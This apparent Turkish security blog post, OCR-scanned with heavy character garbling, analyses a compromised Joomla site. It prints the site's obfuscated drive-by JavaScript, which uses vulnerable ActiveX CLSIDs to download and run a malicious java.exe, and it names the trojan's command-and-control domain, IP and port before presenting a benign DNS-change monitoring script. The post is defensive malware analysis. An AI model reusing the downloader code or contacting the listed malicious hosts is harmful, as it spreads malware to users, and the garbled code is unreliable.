DNS Cozumleme Araci

written by Mert SARICA | 26 September 2010
Gegtigimiz ay Tirkiye'de tespit edilen zararli siteleri Twitter / Friendfeed
Uzerinden yayinlayan ufak bir program hazirlamistim.

Zaman zaman tespit edilen bu siteler uUzerinde yer alan zararli yazilimlari
inceleyerek durum degerlendirmesi yapiyorum. Gec¢tigimiz glnlerde yine

rastgele sectigim bir site Uzerinde yer alan zararli bir yazilima g6z atmaya
karar verdim.
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Archive.org sitesine gore yillardir yapim asamasinda olan ve uUzerinde Joomla
portal kurulu olan bu site muhtemelen zaman ig¢inde guvenlik yamalarinin
yuklenmemesi nedeniyle art niyetki kisiler tarafindan Google lzerinden tespit
edilerek istismar edildi ve zararli kod yaymak amaciyla kullanilan bir zombie
sunucu haline geldi.

Daha o6nce karsilastigim zararli yazilim yayan sitelerin cogunun kaynak
kodunda imzalanmamis Java applet kodu bulunurken bu defa applet’e ilave
olarak birden fazla ActiveX GUIDler'inin kaynak koduna eklenmis oldugunu
farkettim.


https://www.mertsarica.com/dns-cozumleme-araci/
http://twitter.com/hack4career
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0 war iss = Lfalse:

11 war uri = 'http://www.barbour-club.com/cache/ java.exe’;

{7

13| var za = 'ting.File3':

14 war £ = 'plication':

15 war shellapp = 'S3hell.hp'+=z;

6 war =01 = "r%20%3D%3200.Creat'+'edbject: ' +!'28n%29";

17 [war =02 = "r520%53D%200.Creat'+'eChjects28ns ' +'2C520522522%520;
18 | war =03 "r&2053D%200.Create' +' Chiject328ns2C +' 52052252252 0520522522529
9| war z04 = "r320%53D%200.Getlbh' +' Ject328% '+ 225 22%52C520n%29";
i war z05 = "r%iZ0%3D%200.GetChjects28ns '+ SC520%228%22%529";
M| war z06 = M"rX20%53D%2'4+'00.Getlbhject28ns29%;
12

| war al = 'ADO':

M| war a2 = 'DBE.':;

5| war a3 = '3tr';

| war ad4 = 'eam':

war obj t new Arravi
'"ED96'+'CE56-A54"'+'3-11D0-9533 "' +' L-00CO'+' 4FCEZ9ES6’,
'AESECED' +'D-EC'+'VE-47E1-9322-D'+'4A210617116"
'0006F!'+' 033 -0000-0000-C000-00000"' +' Q000046 ,
'O006FO3A-0000-00" 4! D0-C000-000000000046" ,
L6e3z2070a-766d-4eet-8709c-del' +' £a21d2fe3 !,
'64145125-E975-451D-A0D5-F'+' CFDF33ES33C! ,
'YFSEY'+' FE3-FOEF-453'+'31-5A'+' 26-339'+' EQ3COAESD' ,
'067Z23E09-F4' +'C2-4308-3358-09F ' +' CD1DEO7GG" ,

a7 ' 639F725F—-1B2'+'D-4331-A9FD-8748"'+'47632'+'010",

'BAO1S'+' 599-1DE3-44f9-833E4-461454C5 '+ 4BFS!' ,

'DOCOTDEE +' =FC +' 69453 '+' F1-E4A0-25'+'FSA11FAE1S',

40 'ESCCCDDF-C'+!' A25-496b-B050-6C"'+' 0V C962476E" ) ;

biis]

# Patched

[ ‘MS06-014 — RDS.DataSpace’, { ‘CLSID’
*{BD96C556-65A3-11D0-983A-00CO04FC29E36} "’
# Found in mpack

[ ‘MS06-014 — RDS.DataSpace’, { ‘CLSID’
‘{BD96C556-65A3-11D0-983A-00CO4FC29E30} "'} 1,

# Patched

[ ‘MS06-073 — WMIScriptUtils.WMIObjectBroker2.1’, { ‘CLSID’' =>
‘{7F5B7F63-FO6F-4331-8A26-339E03COAE3D}"'} 1,

# These are restricted by site (might be exploitable via DNS spoofing +
SSL fun)
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[ “UNKNOWN — SoftwareDistribution.MicrosoftUpdateWebControl.1l’, {
‘CLSID' => ‘{6e32070a-766d-4ee6-879c-dclfa9ld2fc3}’'} 1,

[ “UNKNOWN — SoftwareDistribution.WebControl.1’, { ‘CLSID' =>
‘{6414512B-B978-451D-A0D8-FCFDF33E833C}'} 1,

# Visual Studio components, not marked as safe

[ “UNKNOWN — VsmIDE.DTE', { ‘CLSID’ => ‘{06723E09-
F4C2-43c8-8358-09FCD1DB0O766}"} 1,

[ ‘UNKNOWN — DExplore.AppObj.8.0’, { ‘CLSID’' => ‘{639F725F-1B2D-4831-
A9FD-874847682010}"'} 1,

[ “UNKNOWN — VisualStudio.DTE.8.0’, { ‘CLSID’' =>
‘{BA018599-1DB3-44f9-83B4-461454C84BF8}'} 1,

[ “UNKNOWN — Microsoft.DbgClr.DTE.8.0', { ‘CLSID’' =>
‘{DOCO7D56-7C69-43F1-B4A0-25F5A11FAB19}'} 1,

[ “UNKNOWN — VsaIDE.DTE’, { ‘CLSID’ => ‘{E8CCCDDF-CA28-496b-
B050-6C07C962476B}'} 1,

#

# The controls below can launch the “installing component” dialogs..
#

# Not marked as safe

[ “UNKNOWN — Business Object Factory ‘, { ‘CLSID’' => ‘{AB9BCEDD-
EC7E-47E1-9322-D4A210617116}'} 1,

# Not marked as safe

[ ‘UNKNOWN — Outlook Data Object’, { ‘CLSID’ => ‘{0006F033-0000-0000-
C000-000000000046}"} 1,

# Found exploitable in the wild (no details)

[ “UNKNOWN — Outlook.Application’, { ‘CLSID’' => ‘{0QOQ06F03A-0000-0000-
C000-000000000046}"} 1,

GUID'ler Metasploit’ten tanidik geldigi icin ufak bir arastirma sonucunda
bunlarin zafiyet iceren ActiveX GUIDler’'i oldugu ve sayfanin bu ActiveX
zafiyetlerinden bir tanesini istismar ederek kullanicinin sistemine Java.exe
adindaki zararli yazilimi indirmek ve calistirmak lzere hazirlanmis oldugunu

anlamam pek zor olmadi.

Java.exe dosyasina ilk olarak HEX editdér ile goz attigimda UPX ile
paketlendigi hemen anlasiliyordu. Zararli yazilimi paketten c¢ikarttiktan
sonra (baska bir yazimda paketten cikarma islemini anlatmistim) statik
diziler (string) belirgin hale gelmisti. Zararli yazilimi calistirmadan Once
Winalysis ile sistemin kopyasini (snapshot) aldiktan hemen sonra Wireshark



programini calistirip trafigi izlemeye basladim ve daha sonra Java.exe

programini calistirdim. Winalysis ile tekrar sistemin kopyasini alip bir

onceki ile karsilastirdigimda svchost32 ve svchost32.exe adinda iki dosyanin

SYSTEM32 klasorid altina kopyalandigini gordim.

Winalysis - [WMERT-6756C49361 Changes -

AWINDOWS\System32]
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svchost32 dosyasini Wordpad ile ac¢tigimda trojanin tus kayitlarini bu dosyaya

kaydettigi anlasiliyordu.
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19KB  Application 14.04.2008 15:00
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214 KB ActiveX Control 14.04.2008 15:00
104 KB Application 14.04.2008 15:00

Wireshark lUzerinde kayit altina alinan paketlere baktigimda trojan,

domainsitesi.myvnc.com alan adini c¢dzumliyor ve c¢Ozumlenen 88.231.194.191 ip



adresine 3459 numarali baglanti noktasindan baglanmaya calisiyordu. Baglanti
noktasinin Poison IVY'’ninkine (3460) yakin olmasi ve bunun disinda tus kayit
formati, mutex adinin “)!VogA.I4"” olmasi ve bir ka¢ benzer nokta nedeniyle
bunun Poison IVY sunucu dosyasi olduguna kanaat getirdim ve detayli analiz
icin vakit harcamadim.

Benim asil merak ettigim konu domainsitesi.myvnc.com alan adinin c¢6zimledigi
ip adresinin erisilebilir olup olmadigi ve bu alan adinin ne kadar siklikla
glincellenip gincellenmedigiydi. Erisilebilirligi kontrol etmek icin
genellikle ip adresini pinglemek ve 3459 baglanti noktasina baglanmak tercih
edilebilir fakat bu gibi durumlarda deniz alti gibi derinden ve sessizce
ilerlemek gerektigi icin tek yol belli araliklarda hedef alan adini
cozumlemek ve ip adresinin degisip degismedigini kontrol etmektir.

DNS gegmisi tutan internet siteleri Uzerine yaptigim arastirmalar beni pek
tatmin etmedigi ic¢in ileride de ihtiyac¢ duyabilecegimi hesaba katarak belirli
araliklarda hedef alan adini cozumleyen, bir onceki co6zumleme sonucu ile
kiyaslayan ve uyaran bir program hazirladim.

Programin adi DNS Checker ve kullanimi yine oldukga basit.
Programi kullanmak ic¢in calistirmaniz gereken Ornek komutlar:

dns checker.py www.mertsarica.com 5 -> Her 5 dakikada bir alan adini
¢ozumler ve kayit eder.
dns checker.py www.mertsarica.com -> Sire belirtmediginiz taktirde saat

basi alan adini c¢dzimler ve kayit eder.

o G\Windows \system32\cmd.exe - dns du:dn:r.pv WWW.DO0K

v - google _com 209 _85_135._165
vy .google .com 207 .85.135.185
v - google _com 209 _85_135._165
vy .google .com 207 .85.135.185
v - google _com 2807 _85_135_104
DNS Change Detected’ C0ld: 2099.85.135.1684 — Mew: 28%9_.85.135.165>




DNS Checker programinin kaynak koduna buradan ulasabilirsiniz.

Bir gun ihtiyac¢ duymaniz durumunda faydalanabilmeniz dilegiyle herkese iyi
haftalar dilerim.


http://www.mertsarica.com/codes/dns_checker.py

